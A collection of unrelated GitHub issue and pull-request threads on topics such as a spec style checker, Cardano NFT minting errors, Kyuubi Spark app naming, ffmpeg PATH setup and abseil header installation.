Simple specification style checker

A simple specification style checker based on regular expressions could ensure:

[x] Indentation level is multiple of three spaces
[x] Consistent comment formatting

Arbitrary amount of spaces between start of line and --
One space between non-space tokens and --
Always at least one space after --

[x] No DOS line terminators
[x] No form feeds, horizontal or vertical tabs
[x] No blanks at end of line
[x] No double blanks
[x] No double blank lines
[x] No blank lines at beginning or end of file
[x] Maximum line length
[x] Token spacing (A + B vs. A+B)
[ ] Keyword indentation (e.g., 6 spaces before message)

Options for handling of style errors:

Just print warning.
Print warning, continue, but return non-zero value.
Print error and stop.
Make behavior configurable.

=> Option 3 - always treat as errors.

There are conflicts with the planned checks, which are not that simple to solve.

Indentation level is multiple of three spaces

Cannot be applied for multiline constructs.
   type E is
      (A => 1,
       B => 2,
       C => 3)
   with Size => 8;

            if Message'Valid = False
               or (Message.Tag = A
                   and Message.Length = 0)

         Response := Create_Message (Tag,
                                     Message.Data);

      with function Create_Message
         (Tag : E;
          Value : Opaque)
      return M;

No double blanks

Prevents alignment of arrow in enumerations.
   type E is
      (A   =>   1,
       AB  =>  12,
       ABC => 123)
   with Size => 8;

No double blanks and token spacing

The style rules should not apply in strings.
         X := Fun (Y, "Foo  Bar+Baz");


11 Increase lambda requests retries

According to #11 I have increased retries to 5, adding an initial delay of 10 and a backoff of 3.
With this setup request attempts will look like this:
1° original event
2° Retrying in 10 seconds
2° Retrying in 30 seconds
2° Retrying in 90 seconds
2° Retrying in 270 seconds
For a total of 400 seconds (6.6 minutes) before giving up.
Let me know what you think, I'll deploy it once it's merged.

Great. Please delpoy!

yeah, this is now deployed!


Is this package still being worked on

We're really keen to use this library with the OGM model however on inspection of the typescript examples, all files seem to contain only copy past version of a single example. It would be really great if we could get OGM system working with Node.js/typescript. Regards.

Hi @ninnjak!
Yes, it is 😄 But we don't have many users here, so the project was maintained in a limited capacity so far. But, super happy to help make it work 😄
In general, 2 biggest topics are OS support since this package depends on mgclient (mgclient already has a bigger list of supported operating systems), and the API. So my two main questions are:

Which operating systems are you planning to use?
Any feedback on how to improve the current API?

Hi @gitbuda, thanks for the quick reply.
We are running our existing ops on cloud services using Kubernetes and Docker (Alpine Linux image) with whilst we use MacOS internally to develop. We haven’t used the Python version (GQLAlchemy) of the API, however we currently use Neo4j with @neo4j/graphql and @neo4j/graphql-ogm and there OGM API is great, maybe you could make the API as close as possible which could aid users to migrate more seamlessly.


Preventing "android.view.WindowManager$BadTokenException: Unable to a…

…dd window" which can happen if trying to show the alert dialog from an async method when the activity is finishing.
This is a often triggered exception coming from Xamarin.Auth. This can happen if OnError method is run and the passed in activity is in "IsFinishing" state.
I reckon to prevent the error with bad token it's better to check if the activity is finishing and then avoid displaying the error.

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
.NET Foundation Pull Request Bot

Also fixes: https://github.com/xamarin/Xamarin.Auth/issues/75

@JakubHolovsky
Can you add this patch to portable-bite-n-switch branch please? Master will be overwritten soon by that branch.


Fix: Finer grained timeouts and improved logging

This PR adds timeouts in a few places, in order to catch slow/stuck methods early and provide better logging.
(I have tested this in a prod-like enviroment)

Looks good. I think it would be interesting to see if there are any code patterns that would help us with the amount of nesting that these timeout wrappers introduce. Maybe some sort of timeoutify function, that could transform all function members of an object into it's time'outing versions?


Dynamically add all StorageClass

An OpenStack cloud can have many volume types.  Instead of having a disconnect between the Kubernetes cluster and the OpenStack cloud, we should automatically poll for all the volume types and create StorageClass for them.
In the same time, we will also make the default StorageClass the one which is default in the cloud, that will make things nice and simple for the user.

I am on it


python310Packages.nitime: minor maintenance

Description of changes
Minor package maintenance.
@wegank
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 224861 run on aarch64-darwin 1

4 packages built:

python310Packages.nitime
python310Packages.nitime.dist
python311Packages.nitime
python311Packages.nitime.dist

Result of nixpkgs-review pr 224861 run on aarch64-linux 1

4 packages failed to build:

python310Packages.nitime
python310Packages.nitime.dist
python311Packages.nitime
python311Packages.nitime.dist


Support Generating an Empty Report in Convert Step

User Story
As an RS developer, I would like to be able to generate an empty report so that lineages work correctly.
Description/Use Case
Currently, the code only support generating an empty report as part of sending something to receiver (i.e. they're on batch schedule and always want a report even if there are no items). However, the convert step also needs to be able to generate an empty report in the following situations:

the submitted report was completely empty
the hl7 message was unparseable

The empty report must be generated because otherwise the report lineage doesn't work and the action logs from the convert step are not visible.
Dev Notes
ActionHistory.trackGeneratedEmptyReport already exists and overload likely can get created to support this.
Acceptance Criteria

[ ] Convert step updated to generate an empty report and report lineage (no item lineage) when certain conditions are met

Hey team! Please add your planning poker estimate with Zenhub @adegolier @arnejduranovic @brick-green @david-navapbc @jack-h-wang @jalbinson @JFisk42 @mkalish @thetaurean


⚠ Bofrost.es has degraded performance

In fd525d3, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1593 ms

Resolved: Bofrost.es performance has improved in 0c5ef52 after 3 minutes.


Code not the same as on atmosphere

@Urigo The code in the package on atmosphere is out of sync with the one in this repo.

+1

It should be ok now 6b0724c

released 0.2.2 and 1.0.0 that are now aligned with the master branch.
thanks for the comment


subclient.log_backup_storage_policy

Hi,
I am contacting you in regards of the updating the log_backup storage policy at the subclient level:

I’ve tried first using the following:

subclient._set_subclient_properties("_commonProperties['storageDevice']['deDuplicationOptions']['enableDeduplication']", 'FALSE')
Traceback (most recent call last):
File "", line 1, in
File "C:\Users\Administrator\PycharmProjects\cvpysdk\venv\lib\site-packages\cvpysdk\subclient.py", line 898, in _set_subclient_properties
output = self._process_update_response(flag, response)
File "C:\Users\Administrator\PycharmProjects\cvpysdk\venv\lib\site-packages\cvpysdk\subclient.py", line 990, in _process_update_response
response.text))
cvpysdk.exception.SDKException: Response was not success
{
"errorMessage":"Service error","errorCode":102
}

--- I’ve tried again to get “default” subclient log_policy for then updating the policy

subclient = instance.subclients.get('default')
subclient.log_backup_storage_policy
'SP_AVT_Test00'
subclient._set_subclient_properties("_commonProperties['storageDevice']['logBackupStoragePolicy']['storagePolicyName']", 'SP_Crelan_Test')
subclient.log_backup_storage_policy
'SP_Crelan_Test'

But the policy is not updated via GUI.

The second way  I’ve tried is by using:

subclient.log_backup_storage_policy = 'SP_Crelan_Test'
subclient.log_backup_storage_policy = 'SP_CSC_HAS'

In this case I get no error message but still the log_backup_policy is not being updated via GUI.
Could you please help me further,
Thank you for your time,

Tracking it via mail thread internally


Request for Adding HTTP Proxy Option

I would like to request the addition of an HTTP proxy option to this program. HTTP proxies are more prevalent on the internet, and they are generally easier to obtain than other types of proxies. Adding this feature would enhance the program's usability and accessibility for a wider range of users.
Feature Request:
Name: HTTP Proxy Support
Description: Add an option within the program settings to configure an HTTP proxy. This would enable users to route their program's network requests through an HTTP proxy, providing flexibility and compatibility with various network environments.
Rationale: HTTP proxies are widely available and commonly used for network traffic management and security. By incorporating HTTP proxy support, the program can cater to users who rely on HTTP proxies for their internet connectivity needs.
Benefits:
Improved accessibility for users with HTTP proxies.
Enhanced program usability in diverse network configurations.
Expanded user base and increased program adoption.

Hello,
I will look at it in next release.


Option to customize "" in docopts help usage strings

Is your feature request related to a problem? Please describe.
I am working on a CLI that currently has a lot of manually written usage strings (seen in help menus) for commands. I want to remove them to allow Oclif's docopts functionality to autogenerate them, but this would force the removal of helpful information only the manual formatting could contain.
Example:
USAGE
    $ mycli add -i <input-files>...

would be autogenerated as
USAGE
    $ mycli add -i <value>

This "<value>" seems to be a hardcoded value, even when changing the flag's helpValue property. It also does not include the ... to indicate multiple inputs are allowed. The docopts site uses these notations quite a bit it seems.
Describe the solution you'd like
I would like an optional flag property (separate from the current helpValue) that can control this value, which could default to '<value>'. It would be used in autogenerating the docopts for the usage strings in the help menus. Perhaps this sort of feature could be extended to positional arguments, but that is not really my main concern.
I'd appreciate any help or guidance you could provide on this issue.

I would like an optional flag property (separate from the current helpValue) that can control this value

@kemley76 what's the rationale behind having a separate property? I'd imagine most people who are setting helpValue would want to same to be used in the usage

I guess there is no real reason to have it be a separate property. I figured that would allow for more flexibility, but I agree, I don't see a reason to have them different. For what I wanted to do with it, extending the current helpValue is all I would need.

Got it. We can always add a separate property later if people need it. Do you want to update your PR to use helpValue? If so, I'll review and test it out this week

My PR is now updated.


Dac pwm

This PR adds all the output functionality to Thermostat. All the currents and limits can be set via miniconf. Everything working on HW.
Please note that "unit_conversion" contains conversions that will be needed later for the ADC and control and that this should get refactored to use the Rust type system.

Alright, I refactored basically everything incorporating all of your suggestions except for the ones currently not marked as resolved. That is only to do with the gpio pin types and matches.


Expose PyErr_WriteUnraisable

Since you sometimes might have some situations where Rust code that is infallible really likes to call into a Python callback, you end up with a horrible situation where all you can do is log the error.
However with Python 3.8 and later you can report such errors so they can be trapped. It would be nice to have a way to do this without unsafe code:
pub fn report_unraisable(py: Python<'_>, err: PyErr) {
    err.restore(py);
    unsafe {
        PyErr_WriteUnraisable(std::ptr::null_mut());
    }
}

I propose to add a write_unraisable() method directly onto PyErr for this purpose.

I fully support this! I've nearly added this in the past for various reasons (as a pub(crate) fn) while shuffling pieces of PyO3 around. The fix in #2886 actually ended up using PyErr_WriteUnraisable also.
Where do you see the limitation of 3.8 and later? My impression is that this is also available on 3.7 (i.e. oldest version of Python which we currently support).

Please feel free to send as PR if you wish, otherwise I'll get around to this within a couple weeks (before the next release at a minimum).

Maybe it works on 3.7, I'm not sure. I took that information from sys.unraisablehook and I thought that not just the hook was new.

sys.unraisablehook(unraisable, /)
Handle an unraisable exception. […]
New in version 3.8.

I can try to make a PR when I find some time for it. I'm assuming it generally is probably relatively non controversial, particularly if it turns out it works with 3.7.


Python 2 compatibility, fix for issue #709

@mukulhase can you please merge it?

Reason I hadn't merged this was because we stopped supporting 2.7 a while ago, many other functions don't work in python 2.7 anyway. Have you verified if this breaks in python 3?

Yes, it works also in Python 3. But if we are going to drop python 2 then better announce it and close the merge request.


Correction for raw affiliation CEMAGREF, UMR TETIS, 500 rue François Breton, 34093 Montpellier cedex 5, France

Correction needed for raw affiliation CEMAGREF, UMR TETIS, 500 rue François Breton, 34093 Montpellier cedex 5, France
raw_affiliation_name: CEMAGREF, UMR TETIS, 500 rue François Breton, 34093 Montpellier cedex 5, France
new_rors: ;0458hw939
previous_rors:
works_examples: W2105903732;W2129260795;W2046571784
contact: 75704dc70116c69a36a89ba80306fa56:6eff3e39e7d2d6c76889446d3e8910b92bd4 @ inrae.fr

This issue was accepted and ingested by the OpenAlex team on 2024-12-19. The new affiliations should be visible within the next 7 days.


collapse all other-data-type format tests together

This doesn't remove any checks, just folds them together consistently.

Ok, I've kept the good bits of this PR - that is, normalizing all the tests, formatting and adding consistent data items.

Thanks! This looks good to me now, though CI is failing, but it's because of the previous PR: https://github.com/json-schema-org/JSON-Schema-Test-Suite/pull/498#issuecomment-877303515

lgtm now thanks for all the work!


Update README to point to maintained django-fsm-2-admin

Since the django-fsm-admin repository is no longer maintained, we at Coral.li have decided to fork the repository and take over its maintenance.
We’ve replaced the outdated django-fsm with django-fsm-2 and updated the repository to support the latest versions of Python and Django.
Check out the updated repository here: django-fsm-2-admin.

Hello @samiashi, would you be willing to consider moving django-fsm-2-admin to django-commons to?

My bad for the duplicate PR, but still think this should be changes as the current recommendation doesn't even work with django-fsm-2 as it requires django-fsm in it's dependencies.

At some point, I may consider including a lighter alternative.
Probably this one: https://github.com/etchegom/django-fsm-admin-lite
I didn't tested it yet, so feel free to give some feedback


TypeError: Cannot read property 'forEach' of undefined

Hey all,
Currently trying to mint a one-off CNFT using this amazing repo, but seem to run into an issue when attempting the minting process. More specifically, here is the error message I get when running my minting script:
/<MY-PATH>/node_modules/cardanocli-js/helper.js:145
  minting.action.forEach((mint, index, arr) => {
                 ^

TypeError: Cannot read property 'forEach' of undefined
    at exports.mintToString (/<MY-PATH>/node_modules/cardanocli-js/helper.js:145:18)
    at CardanocliJs.transactionBuildRaw (/<MY-PATH>/node_modules/cardanocli-js/index.js:854:39)
    at buildTransaction (/<MY-PATH>/src/mint-asset.js:99:25)
    at Object.<anonymous> (/<MY-PATH>/src/mint-asset.js:110:13)

See actual minting script below:
const cardano = require("./cardano")

// 1. Get the wallet

const wallet = cardano.wallet("<MY-WALLET-NAME>");

// 2. Define mint script

const mintScript = {
    type: "all",
    scripts: [
        {
            slot: 49483967,
            type: "before"
        },
        {
            keyHash: cardano.addressKeyHash(wallet.name),
            type: "sig"
        }
    ]
}

// 3. Create POLICY_ID

const POLICY_ID = cardano.transactionPolicyid(mintScript)

// 4. Define ASSET_NAME

const ASSET_NAME = "TestCNFT001"

// 5. Create ASSET_ID

const ASSET_ID = POLICY_ID + "." + ASSET_NAME

// 6. Define metadata

const metadata = {
    721: {
        [POLICY_ID]: {
            [ASSET_NAME]: {
                name: ASSET_NAME,
                image: "ipfs://<IPFS-HASH>",
                description: "Test CNFT 001",
                type: "image/png",
            }
        }
    }
}

// 7. Define transaction

const tx = {
    txIn: wallet.balance().utxo,
    txOut: [
        {
            address: wallet.paymentAddr,
            value: { ...wallet.balance().value, [ASSET_ID]: 1 }
        }
    ],
    mint: {
        actions: [{ type: "mint", quantity: 1, asset: ASSET_ID }],
        script: [mintScript]
    },
    metadata,
    witnessCount: 2
}

// 8. Build transaction

const buildTransaction = (tx) => {

    const raw = cardano.transactionBuildRaw(tx)
    const fee = cardano.transactionCalculateMinFee({
        ...tx,
        txBody: raw
    })

    tx.txOut[0].value.lovelace -= fee

    return cardano.transactionBuildRaw({ ...tx, fee })
}

const raw = buildTransaction(tx)

// 9. Sign transaction

const signTransaction = (wallet, tx) => {

    return cardano.transactionSign({
        signingKeys: [wallet.payment.skey, wallet.payment.skey],
        txBody: tx
    })
}

const signed = signTransaction(wallet, raw)

// 10. Submit transaction

const txHash = cardano.transactionSubmit(signed)

console.log(txHash)

Any clues as to why this error is being triggered?

if in step 7 you change the key "mint" to be "minting" it should get through that error.

this transaction info worked for me: const tx = { txIn: wallet.balance().utxo, txOut: [ { address: wallet.paymentAddr, value: { ...wallet.balance().value, [ASSET_ID]: 1 }, }, ], mint: [{ action: 'mint', quantity: 1, asset: ASSET_ID, script: mintScript }], metadata, witnessCount: 2, };

I tried this... but "+undefined+1" is showing up after the payment address in the output.
I wish someone would repair this script properly...

hmm sorry i don't think i have any more help to give, are you on 4.0.1 of the cardanocli-js package?

There was a addition on this last update of cardano-cli.
The command: cardano-cli query utxo --address {address} --mainnet
Has changed it's output format recently. It now returns an extra field at the end of each TX.

i can send you both my minting script which works on the current version of the package if you would like?

are you happy for me to email them to you? i will make them public on github at some point but not before they are properly tested as i dont want to lead people down the wrong path lol

That would be perfect! Send to<EMAIL_ADDRESS>You don't have to worry about me because i'm playing on the Testnet for now! Thank you!

@Development-Person my email is<EMAIL_ADDRESS>. Thank you for your help dude!

@MarceloArraes  Did you managed to resolve the issue?

@AliWisam yes! First of all you have to use the most recent version of the cardanocli-js, the one on the Berry repository https://github.com/Berry-Pool/cardanocli-js
Then you should make the transactions like the examples inside the Berry repository. Some things changed on the way we write the transactions from this version to the current.

Have fixed most the issues for minting a nft using this repo. Going to close this issue now. Thanks for all your help 👍


Retest reimbursement

rerun postman collection and fix in anything

@danakonovalenko please provde test results and  close ticket

@lymychp firstly 500 must be fixed from task https://github.com/edenlabllc/ehealth.api/issues/2484


Support user specify app name and tag

       ❨?❩

Why are the changes needed?

How was this patch tested?

[ ] Add some test cases that check the changes thoroughly including negative and positive cases if possible

[ ] Add screenshots for manual tests if appropriate

[x] Run test locally before make a pull request

After this PR, we will submit spark app with such command.
./dist/externals/spark-3.0.1-bin-hadoop2.7/bin/beeline -u "jdbc:hive2://<IP_ADDRESS>:10009/;#spark.app.name=test"

2021-02-24 14:40:53.606 INFO session.KyuubiSessionImpl: Launching SQL engine: /Users/cathy/Desktop/code/kyuubi/dist/externals/spark-3.0.1-bin-hadoop2.7/bin/spark-submit \
	--class org.apache.kyuubi.engine.spark.SparkSQLEngine \
	--conf spark.app.name=test \
	--conf spark.hive.server2.thrift.resultset.default.fetch.size=1000 \
	--conf spark.kyuubi.ha.zookeeper.namespace=/kyuubi_USER/anonymous \
	--conf spark.kyuubi.ha.zookeeper.quorum=<IP_ADDRESS>:2181 \
	--conf spark.yarn.tags=KYUUBI \
	--conf spark.kyuubi.ha.zookeeper.acl.enabled=false \

@yaooqinn

also, cc @pan3793 as a new collaborator

spark.yarn.tags is a seq, we should do append

I suggest we add spark.yarn.applicationType with KYUUBI / SPARK

beeline -u "jdbc:hive2://<IP_ADDRESS>:10009/;#spark.app.name=test"

# is needed? beeline --help shows:
4. Connect using SSL connection to HiveServer2 on localhost at 10000
$ beeline jdbc:hive2://localhost:10000/default;ssl=true;sslTrustStore=/usr/local/truststore;trustStorePassword=mytruststorepassword

beeline -u "jdbc:hive2://<IP_ADDRESS>:10009/;#spark.app.name=test"

# is needed? beeline --help shows:
4. Connect using SSL connection to HiveServer2 on localhost at 10000
$ beeline jdbc:hive2://localhost:10000/default;ssl=true;sslTrustStore=/usr/local/truststore;trustStorePassword=mytruststorepassword

I am not 100% sure but this is a behavior of HiveJDBC. I guess # is a separator used there for distinguishing hivevar and hiveconf or something else.

OK, I found it from Hive wiki.
Connection URL Format
The HiveServer2 URL is a string with the following syntax:

jdbc:hive2://<host1>:<port1>,<host2>:<port2>/dbName;initFile=<file>;sess_var_list?hive_conf_list#hive_var_list

where

<host1>:<port1>,<host2>:<port2> is a server instance or a comma separated list of server instances to connect to (if dynamic service discovery is enabled). If empty, the embedded server will be used.
dbName is the name of the initial database.
<file> is the path of init script file (Hive 2.2.0 and later). This script file is written with SQL statements which will be executed automatically after connection. This option can be empty.
sess_var_list is a semicolon separated list of key=value pairs of session variables (e.g., user=foo;password=bar).
hive_conf_list is a semicolon separated list of key=value pairs of Hive configuration variables for this session
hive_var_list is a semicolon separated list of key=value pairs of Hive variables for this session.
Special characters in sess_var_list, hive_conf_list, hive_var_list parameter values should be encoded with URL encoding if needed.
``

OK, I found it from Hive wiki.

Can we inline this in our doc？

Thanks, merged!

thanks @pan3793 @yaooqinn


Missing license

Hi!
First of all: Thank you!!
I noticed that there is no license declaration included in this repo. Please consider adding one. This will be required in order for us to distribute this as part of Pat.
My best suggestion would be The MIT License or something similar. GPL will not suffice since Go applications are linked statically and Pat is not GPL licensed.
https://medium.com/@henvic/opensource-and-go-what-license-f6b36c201854

Hi Martin!
Glad to help!  I have added the license.  Thanks for pointing this out.

Jeremy
N8JJA


Fix london_underground issue

Description:
Now using https://pypi.org/project/london-tube-status/
Related issue (if applicable): fixes #19639

@MartinHjelmare changes made


Add AttitudeAdjuster from SpaceDock

This pull request was automatically generated by SpaceDock on behalf of Snark, to add AttitudeAdjuster to CKAN.
Mod details:
name = /mod/2031/AttitudeAdjuster
author = Snark
abstract = Adds action groups for picking control point. Lets SAS hold nose-up attitude for spaceplane reentry.
license = CC-BY-NC-SA 4.0
Homepage = https://forum.kerbalspaceprogram.com/index.php?/topic/180725-16-attitudeadjuster-v10-set-control-point-via-action-group-variable-pitch-control-point-for-spaceplane-reentry/
description = ## What it does

Adds action group items for toggling control points, for parts that have multiple control points defined.
Adds a variable-pitch control point that's handy for spaceplane-style reentry (i.e. instead of "hold ", you want SAS to "hold attitude with nose up N degrees").

How to install
Unzip the contents of "GameData" to your GameData folder, same as with most mods. (Note, includes ModuleManager.)

Why would anyone want this?
KSP 1.6 introduces a new feature that allows a "command" part (such as a crew pod or probe core) to support multiple control points (e.g. "forward", "reverse"), which the player can select either in flight or in the vehicle editor.
That's a powerful and useful tool... but it stops just short of what I'd like to have.  In particular, the stock game doesn't provide any way to select among those control points using action groups.  Also... I've long wanted the ability for SAS to hold a "slightly nose-up" attitude during reentry (i.e. the way spaceplanes usually do), meaning I'd love to have a pitched control point-- with the ability to vary the pitch as desired.
Well, this mod closes that gap.
Action groups

This mod makes several new actions available in the vehicle editor, which you can assign to action groups as you please.

"Toggle CP: {name}":  This action is for a 2-way toggle that flips back and forth between the named control point and the part's default.  This is added to all command pods and probe cores that support multiple control points.  For example, in the screenshot above, the HECS2 probe core has three alternate control points besides the default ("Forward", "Reversed", plus the new "Pitched" one provided by this mod), so each of those gets a corresponding "toggle" action made available.
"Change Control Point":  This is a cyclic action that just switches the control point to whichever one's next.  In other words, it does exactly the same thing as clicking the stock "Change Control Point" button on the part's right-click menu.  This action is added to all command pods and probe cores in the stock game that have 3 or more control points available.

New "pitched" control point
This mod adds a new control point, "Pitched", to certain parts in the stock game.  It's accessible both in the vehicle editor and in flight.

The "pitched" control point is pointed in the part's  direction... but rotated downward by a few degrees (25 degrees, by default).  That way, if you want to do a "nose up" spaceplane-style reentry, all you have to do is to select the "Pitched" control point, and tell SAS to hold , and your craft will do exactly what you want.  But that's not the clever bit.
The clever bit is that the pitch angle is user-adjustable.  Whenever the "Pitched" control point is the currently selected one, either in the editor or in flight, then a "Pitch Angle" control will appear on the right-click menu (see above screenshots).  This is a slider control that lets you pick any angle you like, from zero up to 90 degrees.
Currently, the following parts have a "Pitched" control point added to them:

All probe cores that include SAS functionality
The stock cockpits (Mk1 regular and inline, Mk2 regular and inline, Mk3)

I've deliberately not added it to the various "rocket" command pods (such as the Mk1, etc.), just to avoid clutter.  However, if you'd prefer to add it there, too (or remove it from one of the places I've added it), that's easy to do-- see the "Extending / customizing" section, below.
Extending / customizing
All of the new functionality is added and configured via ModuleManager-- which means It's flexible.    If there's some aspect of how I've set things up that you don't like, it's easy for you to tweak just by adding your own ModuleManager config.
Examples of how the mod can be customized via config:

Choose which actions are available on which parts (e.g."Toggle CP" and "Change Control Point" actions).
Choose which parts get the "Pitched" control point added.
Customize the numeric behavior of the pitched control point's UI.  For example, if you want it to vary from 0 to 10 degrees in increments of 0.1 degrees (instead of the default "0 to 90 degrees in increments of 1 degree"), then you can do that.

In the interest of avoiding clutter, I won't go into all the technical details here, but you should be able to work it out from looking at the config files.  Feel free to ask me if you have any questions!
Please direct questions about this pull request to Snark.

This was added in #6929.


Is it possible to merge OpenAPI document definitions?

First off, thanks for the awesome work!
My API is spread out over numerous crates. Some of them have routers and components. The main application creates an axum router composed of nested routers.
I'd really like to keep the OpenAPI docs as close to their respective router as possible. Is it be possible to merge all of the definitions into a single unified OpenAPI document?
Thanks!

Oh, I apologize. I didn't notice that Discussions was enabled for this repo.
I'm going to close this and start a discussion #608.


Fix missing comma in syntax example

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Diagnostics appear from stdlib when autocomplete feature is used in the import statement.

 Environment data

Language Server version: 2022.4.1
OS and version: win32 x64
Python version (and distribution if applicable, e.g. Anaconda): 3.10.4
python.analysis.indexing: null
python.analysis.typeCheckingMode: basic

 Expected behaviour
Diagnostic messages not appearing from files I never opened.
 Actual behaviour
Diagnostic messages appear from files I never opened.
 Logs

Python Language Server Log
It was to long for an issue so here
 Code Snippet / Additional information

 Steps to reproduce

Open a new file and write

from unittest import

Use the autocomplete feature to complete the import statement.

Observe diagnostics from the unittest library apearing.

Example:

(NOTE: I have repeted step 2 with the pygame library to give a larger sample size.)

These are apparently linting errors from Flake8. I wasn't able to repro this behavior as described. Should this be transferred to vscode-python?

These are apparently linting errors from Flake8. I wasn't able to repro this behavior as described. Should this be transferred to vscode-python?

To be honest when opening the original issue, I had little idea what I was doing, so it is a possibility.
People assigned to the original issue also suspected this has something to do with me using a python instalation from the Microsoft store (I think I forgot to add that to this issues description oops!)


genpolicy: deny UpdateEphemeralMountsRequest

Deny UpdateEphemeralMountsRequest by default, because paths to critical Guest components can be redirected using such request.

test run: https://dev.azure.com/mariner-org/mariner/_build/results?buildId=471033&view=results [In progress]


DO NOT MERGE: WIP API for invoking the es indexing service

Summary
This is a temp working PR for testing out https://github.com/DataBiosphere/consent/pull/2031
To test, first modify the elasticSearch of your local consent.yaml:
elasticSearch:
  servers:
    - elastic
  indexName: ontology
  datasetIndexName: dataset

Then update local compose file. Add a dependency and link for elastic to the app and an ES app:
  app:
    image: us.gcr.io/broad-dsp-gcr-public/base/jre:17-debian
    container_name: consent
    depends_on:
      - sqlproxy
      - elastic
...
    links:
      - sqlproxy:sqlproxy
      - elastic:elastic

...

  elastic:
    image: docker.elastic.co/elasticsearch/elasticsearch:5.4.0
    ports:
      - "9200:9200"
    container_name: elastic
    volumes:
      - ./data:/usr/share/elasticsearch/data
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false

With configs spun up, visit the Admin section of the swagger page. There is a bulk post and single dataset id post endpoint that can be used to hit the ES indexer locally. If that completes, you can curl the local index:
 curl -v http://localhost:9200/_cat/indices

Have you read CONTRIBUTING.md lately? If not, do that first.

Label PR with a Jira ticket number and include a link to the ticket
Label PR with a security risk modifier [no, low, medium, high]
PR describes scope of changes
Get a minimum of one thumbs worth of review, preferably two if enough team members are available
Get PO sign-off for all non-trivial UI or workflow changes
Verify all tests go green
Test this change deployed correctly and works on dev environment after deployment

No longer necessary


iCubGenova04: Apply and validate JTCVC feed-forward gains on the firmware torque controller with Current output

This PR implements https://github.com/dic-iit/element_torque-control-via-current/issues/77.
After the "flexible motor input" feature has been merged (refer to issue https://github.com/dic-iit/element_torque-control-via-current/issues/57), we apply to all robot parts (iCubGenova04) the configuration setting the EMS torque controller output to "current", using the JTCVC feed-forward parameters identified/computed in https://github.com/dic-iit/element_torque-control-via-current/issues/49.
The "kbemf" (mechanical friction) parameters were then manually tuned with the robot on the pole, for reaching the maximum mechanical friction compensation while keeping the controller stable (no extra energy injected by the controller to the joint while oscillating the joint with an external force).

WIP

The configuration parameters are defined in the group TRQ_PID_OUTPUT_CURR. The group isn't presently used for torque neither position control, so this PR does not impact the present robot behavior.
CC @S-Dafarra @ale-git .

Are there any other tests planned or you would like this PR to be merged?

Are there any other tests planned or you would like this PR to be merged?

Thx @S-Dafarra . The plan is to re-run the same tests as soon as the ongoing improvements are integrated to the current controller feature. Merging now is for saving the config computed/tuned so far, and easily re-activate it in future tests and future tuning.


Ordering parts for 0.3 build

What has to be done
After BOM Scrub completed, order components for beta build.
Assumes all components from McMaster.
Request any 3D printed parts needed from the team.

Please see updated BOM that highlights who needs to order what.
Green = Martin to order
Blue = Edwin to order

parts for enclosed 0.3 builds were received by @martukas and @inceptionev

parts for enclosed 0.3 builds were received by @martukas and @inceptionev


Side alphabet in list cannot be clicked

bug:
i cannot pinpoint the pattern/cause why some letters cannot be tapped on. if the letters become too many, that is when it happens.

Me too. I have around 2300~ contacts on my phone that have travelled with me over the years. It's unusable at this level. Side scroll doesn't work. I'm setting userList to contacts using https://github.com/lukasgit/flutter_contacts


Unable to detect any supported library

[AV] Running command: if command -v avprobe 2>/dev/null; then echo "true"; else echo "false"; fi
[AV] Running command: if command -v ffmpeg 2>/dev/null; then echo "true"; else echo "false"; fi
(0.2ms)  ROLLBACK
Unable to detect any supported library
Redirected to http://localhost:3000/ssdd/edit
Completed 302 Found in 771ms (ActiveRecord: 0.6ms)
i have compile ffmpeg with this source https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu

You need to make sure ffmpeg path is in the global $PATH. The error you're getting means that when Ruby process tried to find a command named ffmpeg or avprobe, none of them was in the $PATH defined for the process or the global $PATH.

ffmpeg have routes on ~/bin
have ffmpeg  ffplay  ffprobe  ffserver  x264
have idea?

need install on /usr/local/bin?

or how to set $PATH to ~/bin on rails gem?

Google to the rescue: http://unix.stackexchange.com/questions/94495/globally-change-path-for-all-users-even-in-cron

Just a quick note, in my case I didn't even have ffmpeg installed on my Mac dev machine so I had to install via Homebrew:
brew install ffmpeg

You'll have to install ffmpeg on your server as well and make sure it's in the $PATH so paperclip-av-transcoder can access it correctly.


[abseil] Install headers to sub-directories of ${LIB}/internal recursively.

Up to now, absl::str_format doesn't work on vcpkg, becuase some header files are not installed into strings/internal/str_format. This fix will recursively copy all header files in ${LIB}/internal to the correct locations. Tested on Windows (x64-windows triplet). Here'e the entire include tree:
├───algorithm
├───base
│   └───internal
├───container
│   └───internal
├───debugging
│   └───internal
├───memory
├───meta
├───numeric
├───strings
│   └───internal
│       └───str_format
├───synchronization
│   └───internal
├───time
│   └───internal
│       └───cctz
│           ├───include
│           │   └───cctz
│           └───src
├───types
│   └───internal
└───utility

Indentation of either foreach or endforeach doesn't seem correct.

@OlafvdSpek You are right about the indentation.
HEADERS includes .inc files, while INTERNAL_HEADERS doesn't. It seems it it was done this way so that ${LIB}/*.inc are installed, but ${LIB}/internal/*.inc are not.

What if an internal .inc is included by an internal or non-internal header?

That only happens in one header, probably for a platform not supported by vcpkg. Can't remember which one at the moment.

For now.. ;)

That one is in mutex.h. Go check out the source code, and you'll see why I think it is unlikely this becomes a problem, ever.
Of course, Google can always change upstream...

The internal vs non-internal was simply to avoid the slightly more complex code you've helpfully submitted in this PR -- there isn't any particular issue with internal\*.inc.
Therefore, I think the right way forward would be to get rid of the whole INTERNAL_HEADERS and just use your algorithm for HEADERS.


